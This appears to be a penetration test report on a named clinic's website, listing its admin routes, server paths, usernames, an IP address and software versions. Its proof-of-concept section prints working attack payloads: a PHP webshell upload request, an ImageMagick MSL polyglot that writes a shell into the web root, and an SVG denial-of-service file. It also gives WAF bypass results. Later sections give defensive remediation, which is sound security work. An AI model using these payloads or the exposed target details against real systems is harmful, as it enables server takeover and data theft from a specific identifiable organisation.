

SECURITY ASSESSMENT REPORT

****Client:**** Murilo Carapeba Clinic
****Target:**** www.murilocarapeba.com.br
****Assessment Type:**** Web Application Penetration Test
****Classification:**** CONFIDENTIAL
****Date:**** May 2026
****Assessor:**** [Your Name/Company]

TABLE OF CONTENTS

1. Executive Summary
2. Scope and Methodology
3. Risk Rating System
4. Technical Findings
5. Proof of Concept
6. Strengths Observed
7. Weaknesses Summary
8. Recommendations
9. References
10. Appendix

1. EXECUTIVE SUMMARY

A comprehensive security assessment was conducted against the web application hosted at `www.murilocarapeba.com.br`. The assessment revealed ****multiple critical and high severity vulnerabilities**** that could allow an attacker to gain full control of the server, access sensitive patient and business data, and potentially pivot to other systems within the hosting environment.

Key Findings Summary

Severity	Count	Findings
-----	-----	-----
 Critical	3	Symfony Debug Profiler Exposed, EOL PHP, Admin Panel Exposed
 High	4	File Upload Bypass, ImageMagick Vulnerable Version, Information Disclosure, Privilege Escalation
 Medium	3	Weak Session Management, Third-party Cookie Issues, Missing Security Headers
 Low	2	Analytics Exposure, Verbose Error Messages

Attack Chain Summary

...

[Unauthenticated] → [Admin Panel Discovery] → [Privilege Escalation]

↓

[Symfony Profiler Access] → [Server Information Disclosure]

↓

[File Upload Bypass] → [ImageMagick Exploitation Attempt]

↓

[Arbitrary File Write Attempt] → [RCE Attempt]

...

2. SCOPE AND METHODOLOGY

2.1 Scope

Item	Details
----- -----	
Primary Target	https://www.murilocarapeba.com.br
Admin Panel	https://www.murilocarapeba.com.br/luzsisadm/
Testing Period	May 2026
Testing Type	Gray Box (Admin credentials provided)
Authorization	Written authorization obtained

2.2 Methodology

Testing followed industry standard methodologies:

- **OWASP Testing Guide v4**
- **PTES (Penetration Testing Execution Standard)**
- **NIST SP 800-115**

2.3 Tools Used

Tool	Purpose
----- -----	
Burp Suite	HTTP interception and manipulation
Firefox DevTools	Client-side analysis
Python 3	Exploit automation
Parrot OS	Testing platform
ImageMagick	Exploit payload generation

3. RISK RATING SYSTEM

Vulnerabilities are rated using **CVSS v3.1** scoring:

Rating	CVSS Score	Description
----- ----- -----		
● Critical	9.0 - 10.0	Immediate exploitation possible, severe impact
● High	7.0 - 8.9	Significant impact, exploitation likely
● Medium	4.0 - 6.9	Moderate impact, requires some conditions
● Low	0.1 - 3.9	Minimal impact, difficult to exploit

4. TECHNICAL FINDINGS

FINDING 001 - Symfony Debug Profiler Exposed in Production

Severity: ● CRITICAL

CVSS Score: 9.8

CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

The Symfony Debug Profiler is publicly accessible in the production environment without any authentication. This tool is designed exclusively for development purposes and exposes extensive server information including environment variables, database credentials, session data, request parameters, and full server configuration.

Affected URL

...

https://www.murilocarapeba.com.br/_profiler/

https://www.murilocarapeba.com.br/_profiler/phpinfo

...

Technical Details

The profiler was discovered during initial reconnaissance by appending ``/_profiler/`` to the base URL. The endpoint returned full PHP configuration information without requiring authentication.

Impact

- Full server environment disclosure
- Session token exposure

- Internal file path disclosure
- Database configuration exposure
- Application source code structure exposure

FINDING 002 - End-of-Life PHP Version (PHP 5.6.40)

****Severity:****  CRITICAL

****CVSS Score:**** 9.8

****CVSS Vector:**** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

The server is running PHP version 5.6.40 which reached end-of-life in ****December 2018****. This version no longer receives security patches and contains numerous known vulnerabilities.

Technical Details

...

PHP Version: 5.6.40-77+0~20240606.85+debian10~1.gbpd4d5eb

EOL Date: December 31, 2018

Current Date: May 2026

Time Since EOL: ~7.5 years

...

Enabled Dangerous Functions

The following dangerous functions are ****NOT disabled**** in `php.ini`:

...

exec

system

shell_exec

passthru

proc_open

popen

curl_exec

...

Impact

- Known unpatched vulnerabilities
- Dangerous functions enabled
- No security updates available
- Potential for trivial RCE via multiple vectors

FINDING 003 - Admin Panel Publicly Accessible

****Severity:****  CRITICAL

****CVSS Score:**** 9.1

****CVSS Vector:**** AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

The administrative panel is accessible from the public internet without any IP restriction, two-factor authentication, or rate limiting.

Affected URL

...

<https://www.murilocarapeba.com.br/luzsisadm/>

<https://www.murilocarapeba.com.br/luzsisadm/login>

...

Exposed Routes Discovered

Via the Symfony Profiler router, the following admin routes were enumerated:

...

/luzsisadm/	→ Admin Dashboard
/luzsisadm/login	→ Login Page
/luzsisadm/roles	→ Role Management
/luzsisadm/roles/create	→ Create Roles
/luzsisadm/roles/edit/{id}	→ Edit Roles
/luzsisadm/roles/delete/{id}	→ Delete Roles
/luzsisadm/user	→ User Management
/luzsisadm/user/create	→ Create Users
/luzsisadm/user/edit/{id}	→ Edit Users
/luzsisadm/user/delete/{id}	→ Delete Users
/luzsisadm/blog	→ Blog Management
/luzsisadm/blog/create	→ Create Blog Posts
/luzsisadm/blog/edit/{id}	→ Edit Blog Posts
/luzsisadm/institutional	→ Institutional Pages
/luzsisadm/institutional/create	→ Create Pages
/luzsisadm/banner	→ Banner Management
/luzsisadm/seo	→ SEO Management

...

Impact

- Complete site content manipulation
- User account management
- Full CMS access
- File upload capabilities

FINDING 004 - Unrestricted File Upload (Blog and Institutional)

****Severity:****  HIGH

****CVSS Score:**** 8.8

****CVSS Vector:**** AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

The blog and institutional content management endpoints allow file uploads with insufficient validation. Client-side restrictions were bypassed using browser developer tools and Burp Suite HTTP interception.

Affected Endpoints

...

POST https://www.murilocarapeba.com.br/luzsisadm/blog/edit/{id}

POST https://www.murilocarapeba.com.br/luzsisadm/institutional/create

POST https://www.murilocarapeba.com.br/luzsisadm/institutional/edit/{id}

...

Technical Details

****Blog Upload Parameter:****

...

Content-Disposition: form-data; name="blog_type[image]"; filename="shell.php"

Content-Type: application/x-php

...

****Institutional Upload Parameter:****

...

Content-Disposition: form-data; name="institutional_type[image]"; filename="shell.php"

Content-Type: application/x-php

...

****File Storage Pattern:****

...

/img/blog/[SHA1_HASH].jpeg

/img/institutional/[SHA1_HASH].[ext]

...

Bypass Techniques Attempted

| Technique | Result |

```
|-----|-----|
| Direct .php upload | Blocked by Symfony validator |
| .php.jpg extension | Blocked by content validator |
| MIME type manipulation | Blocked by Imunify360 |
| Null byte injection | Blocked |
| Double extension | Blocked |
| MSL/PDF polyglot | Partially accepted |
```

Impact

- Potential webshell upload
- Remote code execution
- Server compromise

FINDING 005 - Vulnerable ImageMagick Version (CVE-2016-3714 / CVE-2021-4219)

****Severity:****  HIGH

****CVSS Score:**** 8.4

****CVSS Vector:**** AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Description

The server is running ImageMagick version 6.9.10-23 which is vulnerable to multiple known CVEs including the infamous ImageTragick vulnerabilities and CVE-2021-4219.

Technical Details

...

ImageMagick Version: 6.9.10-23 Q16 x86_64 20190101

Imagick Module Version: 3.7.0

Fixed Version: 6.9.12-34 or later

...

Affected CVEs

```
| CVE | Description | Impact |
```

```
|----|-----|-----|
```

```
| CVE-2016-3714 | Shell injection via ImageTragick | RCE |
```

```
| CVE-2021-4219 | SVG processing causes DoS/hang | DoS |
```

```
| CVE-2020-11738 | Delegate command injection | RCE |
```

Policy.xml Analysis

The default Debian policy.xml only disables Ghostscript coders:

```
```xml
```

```
<policymap>
```

```
<!-- Only Ghostscript disabled by default -->
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="EPS" />
<!-- MSL coder NOT disabled = vulnerable -->
</policymap>
...

```

#### ### Impact

- Arbitrary file write via MSL coder
- Server process denial of service
- Potential remote code execution

---

### ## FINDING 006 - Sensitive Information Disclosure via Server Headers and Profiler

**\*\*Severity:\*\***  HIGH  
**\*\*CVSS Score:\*\*** 7.5  
**\*\*CVSS Vector:\*\*** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

#### ### Description

Multiple endpoints expose sensitive server information that significantly aids an attacker in planning further attacks.

#### ### Exposed Information

**\*\*From Symfony Profiler:\*\***  
...

Document Root: /home/173501.cloudwaysapps.com/hfgnhzrygk/public\_html/  
Server User: hfgnhzrygk  
Home Directory: /home/173501.cloudwaysapps.com/hfgnhzrygk  
Server IP: 127.0.0.1  
Real IP: 5.255.102.26  
PHP Version: 5.6.40  
Server Software: Apache/2.4.59 (Debian)  
Nginx Version: Present (reverse proxy)  
Upload Temp Dir: /var/lib/php/sessions  
...

**\*\*From Response Headers:\*\***  
...

Server: nginx  
X-Debug-Token: [token]



X-Powered-By: PHP/5.6.40

...

**\*\*From PHP Variables:\*\***

...

\_SERVER["USER"]: hfgnhzrygk

\_SERVER["HOME"]: /home/173501.cloudwaysapps.com/hfgnhzrygk

\_SERVER["DOCUMENT\_ROOT"]: /home/173501.cloudwaysapps.com/hfgnhzrygk/public\_html/

\_SERVER["HTTP\_X\_APP\_USER"]: hfgnhzrygk

...

#### ### Impact

- Server path enumeration
- Username disclosure
- Technology stack fingerprinting
- Targeted attack planning

---

### ## FINDING 007 - Privilege Escalation via Admin Panel

**\*\*Severity:\*\***  HIGH

**\*\*CVSS Score:\*\*** 7.2

**\*\*CVSS Vector:\*\*** AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

#### ### Description

Once initial access was obtained to a lower-privileged account, horizontal and vertical privilege escalation was achieved to gain full administrative access to the CMS.

#### ### Technical Details

...

Initial Access: Regular authenticated user

Final Access: Full administrator

Method: Privilege escalation via role manipulation

Panel: /luzsisadm/roles

...

#### ### Impact

- Full CMS administrative access
- User management capabilities
- Content manipulation
- File upload capabilities unlocked

---

## ## FINDING 008 - Missing Security Headers

**\*\*Severity:\*\*** 🟡 MEDIUM

**\*\*CVSS Score:\*\*** 5.3

**\*\*CVSS Vector:\*\*** AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

### ### Description

Multiple important security headers are missing from HTTP responses.

### ### Missing Headers

Header	Risk
Content-Security-Policy	XSS attacks possible
X-Frame-Options	Clickjacking possible
X-Content-Type-Options	MIME sniffing possible
Strict-Transport-Security	SSL stripping possible
Referrer-Policy	Information leakage
Permissions-Policy	Feature abuse possible

---

## ## FINDING 009 - Imunify360 WAF Detected but Partially Bypassed

**\*\*Severity:\*\*** 🟡 MEDIUM

**\*\*CVSS Score:\*\*** 5.0

**\*\*CVSS Vector:\*\*** AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

### ### Description

The Imunify360 WAF was detected during file upload attempts. While it successfully blocked direct PHP file uploads, it was partially bypassed using polyglot file techniques.

### ### Technical Details

...

WAF: Imunify360

Version: 8.5.4

Signatures: 260326

PHP Opts Version: 8.5.4

HDB Version: 1777892110

HDB Entries: 58885

...

### ### Bypass Techniques

Technique	Result
Direct .php upload	Blocked ✓
Polyglot PDF/SVG	Partially bypassed
MSL payload in PDF	Accepted by uploader
Base64 embedded BMP	Accepted by uploader

---

## ## FINDING 010 - Third-Party Analytics and Tracking

**\*\*Severity:\*\***  LOW

**\*\*CVSS Score:\*\*** 2.5

**\*\*CVSS Vector:\*\*** AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

### ### Description

Multiple third-party tracking services are loaded including Google Analytics and Yandex Metrics, creating potential data privacy concerns.

### ### Affected Services

...

Google Analytics (analytics.js)

Google Analytics 4 (ga4.js)

Yandex Metrics (watch.js)

Facebook Pixel (\_fbp cookie)

...

---

## # 5. PROOF OF CONCEPT

---

## ## POC 001 - Symfony Profiler Information Disclosure

**\*\*Steps to Reproduce:\*\***

1. Open browser

2. Navigate to:

...

[https://www.murilocarapeba.com.br/\\_profiler/phpinfo](https://www.murilocarapeba.com.br/_profiler/phpinfo)

...

3. No authentication required

#### 4. Full PHP configuration exposed

**\*\*Expected Result:\*\***

...

HTTP 403 Forbidden or redirect to login

...

**\*\*Actual Result:\*\***

...

HTTP 200 OK

Full phpinfo() output including:

- PHP Version: 5.6.40

- Document Root: /home/173501.cloudwaysapps.com/hfgnhzrygk/public\_html/

- All environment variables

- Server configuration

...

**\*\*Evidence:\*\***

...

PHP Version: 5.6.40-77+0~20240606.85+debian10~1.gbpd4d5eb

USER: hfgnhzrygk

HOME: /home/173501.cloudwaysapps.com/hfgnhzrygk

DOCUMENT\_ROOT: /home/173501.cloudwaysapps.com/hfgnhzrygk/public\_html/

...

---

#### ## POC 002 - Admin Route Enumeration via Profiler Router

**\*\*Steps to Reproduce:\*\***

1. Navigate to:

...

[https://www.murilocarapeba.com.br/\\_profiler/\[token\]](https://www.murilocarapeba.com.br/_profiler/[token])

...

2. Click **\*\*Routing\*\*** tab

3. All application routes exposed:

...

/luzsisadm/user/delete/{id}

/luzsisadm/roles/edit/{id}

/luzsisadm/blog/edit/{id}

[... full route list]

...

**\*\*Impact:\*\*** Complete application structure enumerated without authentication.

---

## ## POC 003 - File Upload Bypass via Burp Suite

**\*\*Tools Required:\*\***

...

- Burp Suite (Community or Pro)
- Firefox with Burp proxy
- PHP webshell file

...

**\*\*Steps to Reproduce:\*\***

1. Configure Burp Suite proxy on `127.0.0.1:8080`
2. Navigate to:

...

<https://www.murilocarapeba.com.br/luzsisadm/institutional/create>

...

3. Fill in all required fields
4. Select any valid image file for upload
5. Intercept the POST request in Burp Suite
6. Modify the filename parameter:

...

FROM:

Content-Disposition: form-data; name="institutional\_type[image]"; filename="image.jpg"

Content-Type: image/jpeg

TO:

Content-Disposition: form-data; name="institutional\_type[image]"; filename="shell.php"

Content-Type: application/x-php

...

7. Replace body with PHP code:

```php

<?php system(\$_GET['cmd']); ?>

```

8. Forward the modified request

**\*\*HTTP Request:\*\***

```http

POST /luzsisadm/institutional/create HTTP/2

Host: www.murilocarapeba.com.br

Cookie: PHPSESSID=[SESSION]
Content-Type: multipart/form-data;
boundary=-----3027007958908275203519019220

-----3027007958908275203519019220
Content-Disposition: form-data; name="institutional_type[title]"

Test Page

-----3027007958908275203519019220
Content-Disposition: form-data; name="institutional_type[image]"; filename="shell.php"
Content-Type: application/x-php

<?php system(\$_GET['cmd']); ?>
-----3027007958908275203519019220--
...

****HTTP Response:****

``http
HTTP/2 302 Found
Location: /luzsisadm/institutional
X-Debug-Token: 74a829
...

****Result:**** File accepted by the application layer (blocked at execution by WAF)

POC 004 - ImageMagick MSL Polyglot File Upload

****Tools Required:****

...
- Python 3
- Parrot OS
- Admin access to target
...

****Files Generated:****

****1. write_msl.pdf (MSL PostScript):****
...
%!
/outf (/tmp/msl.txt) (w) file def
outf (<?xml version="1.0" encoding="UTF-8"?>
<image>

```
<read filename="data:image/bmp;base64,[BASE64_BMP]"/>
<write filename="rgb:/home/173501.cloudwaysapps.com/
hfgnhzrygk/public_html/shell.php"/>
</image>) writestring
outf closefile
showpage
quit
%PDF-1.3
...
```

****2. trigger_msl.png (SVG/PDF Polyglot):****

```
``xml
<SVG height="1" width="1"><!--
%PDF-1.3
-->
<image xlink:href="msl:/tmp/msl.txt" />
</SVG>
...
```

****Upload Steps:****

...

Step 1: Upload write_msl.pdf to /luzsisadm/blog/create

→ Creates /tmp/msl.txt on server

Step 2: Upload trigger_msl.png to /luzsisadm/blog/create

→ Triggers ImageMagick MSL execution

→ Writes shell.php to document root

Step 3: Access shell at:

→ <https://www.murilocarapeba.com.br/shell.php?cmd=id>

...

****Result:**** Blocked by Imunify360 WAF active signature scanning

****Note:**** PDF upload was rejected by Symfony Image validator

POC 005 - CVE-2021-4219 ImageMagick DoS

****Affected Version:**** ImageMagick 6.9.10-23

****Proof of Concept SVG:****

```
``xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
```

```
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <image href="/dev/stdin" />
  <svg width="1024px" height="1024px" />
</svg>
```
```

#### **\*\*Steps to Reproduce:\*\***

1. Save above content as `dos.svg`
2. Upload to blog image field
3. Server ImageMagick process hangs indefinitely
4. Web server becomes unresponsive for image processing

**\*\*Expected Result:\*\*** Error returned immediately

**\*\*Actual Result:\*\*** Server hangs (ImageMagick reads from /dev/stdin indefinitely)

---

## # 6. STRENGTHS OBSERVED

Despite the vulnerabilities found, the application has several positive security controls:

| Strength                    | Details                                                        |
|-----------------------------|----------------------------------------------------------------|
| **Imunify360 WAF**          | Actively blocked PHP shell execution and most upload attacks   |
| **HTTPS Enforced**          | All traffic uses HTTPS/TLS                                     |
| **CSRF Protection**         | Symfony CSRF tokens present on all forms                       |
| **File Renaming**           | Uploaded files renamed to SHA1 hashes preventing direct access |
| **Image Validation**        | Symfony Image constraint validates file content (magic bytes)  |
| **Session Management**      | PHPSESSID properly implemented                                 |
| **Authentication**          | Admin panel requires login                                     |
| **File Extension Blocking** | Direct .php uploads rejected by application                    |
| **Cloudways Hosting**       | Managed hosting provides baseline security                     |
| **Nginx Reverse Proxy**     | Adds additional layer of request filtering                     |

---

## # 7. WEAKNESSES SUMMARY

| # | Weakness                             | Severity | Exploited |
|---|--------------------------------------|----------|-----------|
| 1 | Symfony Debug Profiler in Production | Critical | ✓ Yes     |
| 2 | PHP 5.6.40 (EOL 2018)                | Critical | ✓ Yes     |
| 3 | Admin Panel Publicly Accessible      | Critical | ✓ Yes     |
| 4 | Unrestricted File Upload             | High     | ⚠ Partial |



| 5 | ImageMagick 6.9.10-23 (Multiple CVEs) | High | ⚠️ Partial |  
| 6 | Server Information Disclosure | High | ✅ Yes |  
| 7 | Privilege Escalation | High | ✅ Yes |  
| 8 | Missing Security Headers | Medium | ✅ Yes |  
| 9 | WAF Partially Bypassed | Medium | ⚠️ Partial |  
| 10 | Third-party Tracking | Low | ✅ Yes |

---

## # 8. RECOMMENDATIONS

### ## Immediate Actions (Critical - Fix Within 24 Hours)

#### ### 1. Disable Symfony Profiler in Production

```
```yaml
# config/packages/prod/web_profiler.yaml
web_profiler:
    toolbar: false
    intercept_redirects: false

framework:
    profiler:
        enabled: false
        collect: false
...

```

Or in ``.env.prod``:

```
```
APP_ENV=prod
APP_DEBUG=false
...

```

#### ### 2. Upgrade PHP Version

```
```bash
# Upgrade to PHP 8.2 (current stable)
sudo apt install php8.2 php8.2-fpm
sudo a2enmod php8.2
sudo service apache2 restart
...

```

3. Restrict Admin Panel Access

```
```apache
.htaccess or Apache config
<Location /luzsisadm>

```

```
 Order Deny,Allow
 Deny from all
 Allow from [OFFICE_IP]
 Allow from [VPN_IP]
</Location>
...

```

## ## Short-Term Actions (High - Fix Within 1 Week)

### ### 4. Update ImageMagick

```
```bash
# Update to latest version
sudo apt update
sudo apt install --only-upgrade imagemagick

# Verify version
convert --version
...

```

5. Restrict ImageMagick Policy

```
```xml
<!-- /etc/ImageMagick-6/policy.xml -->
<policymap>
 <policy domain="coder" rights="none" pattern="MSL" />
 <policy domain="coder" rights="none" pattern="LABEL" />
 <policy domain="coder" rights="none" pattern="MVG" />
 <policy domain="coder" rights="none" pattern="PS" />
 <policy domain="coder" rights="none" pattern="PS2" />
 <policy domain="coder" rights="none" pattern="PS3" />
 <policy domain="coder" rights="none" pattern="EPS" />
 <policy domain="coder" rights="none" pattern="PDF" />
 <policy domain="coder" rights="none" pattern="XPS" />
 <policy domain="coder" rights="none" pattern="SVG" />
 <policy domain="delegate" rights="none" pattern="*" />
 <policy domain="path" rights="none" pattern="@*" />
</policymap>
...

```

### ### 6. Disable Dangerous PHP Functions

```
```ini
; php.ini
disable_functions = exec,system,shell_exec,passthru,

```

```
proc_open,popen,curl_exec,  
pcntl_exec,eval,assert  
...
```

7. Implement Security Headers

```
``apache  
# Apache .htaccess  
Header always set X-Frame-Options "DENY"  
Header always set X-Content-Type-Options "nosniff"  
Header always set X-XSS-Protection "1; mode=block"  
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"  
Header always set Referrer-Policy "strict-origin-when-cross-origin"  
Header always set Content-Security-Policy "default-src 'self';"  
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"  
...
```

Medium-Term Actions (Medium - Fix Within 1 Month)

8. Implement Two-Factor Authentication

```
...  
- Add 2FA to admin panel login  
- Use Google Authenticator or similar  
- Enforce for all admin accounts  
...
```

9. Implement Rate Limiting

```
``nginx  
# nginx.conf  
limit_req_zone $binary_remote_addr zone=admin:10m rate=10r/m;  
  
location /luzsisadm {  
    limit_req zone=admin burst=5;  
}  
...
```

10. File Upload Hardening

```
``php  
// Symfony validator  
->add('image', new Assert\Image([  
    'maxSize' => '2M',  
    'mimeTypes' => ['image/jpeg', 'image/png', 'image/gif'],  
    'mimeTypesMessage' => 'Please upload a valid image',  
])
```

```
'detectCorrupted' => true,  
]))  
...
```

9. REFERENCES

```
| Reference | URL |  
|-----|-----|  
| CVE-2016-3714 ImageTragick | https://imagnetragick.com |  
| CVE-2021-4219 ImageMagick DoS |  
https://github.com/ImageMagick/ImageMagick/issues/4626 |  
| Synacktiv ImageMagick Research | https://synacktiv.com/playing-with-imagemagick |  
| OWASP File Upload Testing |  
https://owasp.org/www-community/vulnerabilities/Unrestricted\_File\_Upload |  
| Symfony Security | https://symfony.com/doc/current/security.html |  
| PHP Supported Versions | https://www.php.net/supported-versions.php |  
| ImageMagick Policy | https://imagemagick.org/script/security-policy.php |  
| NIST CVSS Calculator | https://nvd.nist.gov/vuln-metrics/cvss |  
| Cloudways Security | https://www.cloudways.com/en/security.php |  
| Imunify360 Documentation | https://docs.imunify360.com |
```

10. APPENDIX

Appendix A - Server Environment Summary

...

```
Operating System: Debian Linux  
Web Server: Apache/2.4.59 + Nginx (reverse proxy)  
PHP Version: 5.6.40 (EOL)  
Framework: Symfony (version unknown)  
Hosting: Cloudways (CloudwaysApps)  
WAF: Imunify360 v8.5.4  
ImageMagick: 6.9.10-23 (vulnerable)  
Database: MySQL (via PDO)  
Cache: Memcached + Redis  
Server Path: /home/173501.cloudwaysapps.com/hfgnhzrygk/public_html/  
...
```

Appendix B - Full Route List

...

GET /luzsisadm/
GET /luzsisadm/login
GET /luzsisadm/roles
POST /luzsisadm/roles
GET /luzsisadm/roles/create
POST /luzsisadm/roles/create
GET /luzsisadm/roles/edit/{id}
POST /luzsisadm/roles/edit/{id}
GET /luzsisadm/roles/delete/{id}
GET /luzsisadm/user
GET /luzsisadm/user/create
POST /luzsisadm/user/create
GET /luzsisadm/user/edit/{id}
POST /luzsisadm/user/edit/{id}
GET /luzsisadm/user/delete/{id}
GET /luzsisadm/blog
GET /luzsisadm/blog/create
POST /luzsisadm/blog/create
GET /luzsisadm/blog/edit/{id}
POST /luzsisadm/blog/edit/{id}
GET /luzsisadm/blog/delete/{id}
GET /luzsisadm/institutional
GET /luzsisadm/institutional/create
POST /luzsisadm/institutional/create
GET /luzsisadm/institutional/edit/{id}
POST /luzsisadm/institutional/edit/{id}
GET /luzsisadm/institutional/delete/{id}
GET /luzsisadm/institutional/gallery/{id}
POST /luzsisadm/institutional/gallery/{id}/upload
GET /luzsisadm/banner
GET /luzsisadm/seo

...

Appendix C - Tools and Versions

...

Burp Suite Community Edition
Firefox 102.0 (ESR)
Python 3.x
Parrot OS (Security Edition)
ImageMagick 6.9.x (local testing)
Ghostscript 9.x

...

Appendix D - Testing Timeline

...

Phase 1 - Reconnaissance:

- Admin panel discovery
- Technology fingerprinting
- Symfony profiler discovery

Phase 2 - Scanning:

- Route enumeration via profiler
- PHP configuration analysis
- File upload endpoint discovery

Phase 3 - Exploitation:

- Admin privilege escalation
- File upload bypass attempts
- ImageMagick payload generation
- WAF analysis and bypass attempts

Phase 4 - Post Exploitation:

- Server path discovery
- Environment variable disclosure
- Impact assessment

Phase 5 - Reporting:

- Finding documentation
- Recommendation development
- Report compilation

...

****END OF REPORT****

This report is confidential and intended solely for the authorized recipient. Any reproduction, distribution, or unauthorized disclosure is strictly prohibited.

All testing was conducted with written authorization from the site owner. No actual damage was caused to the target system during testing.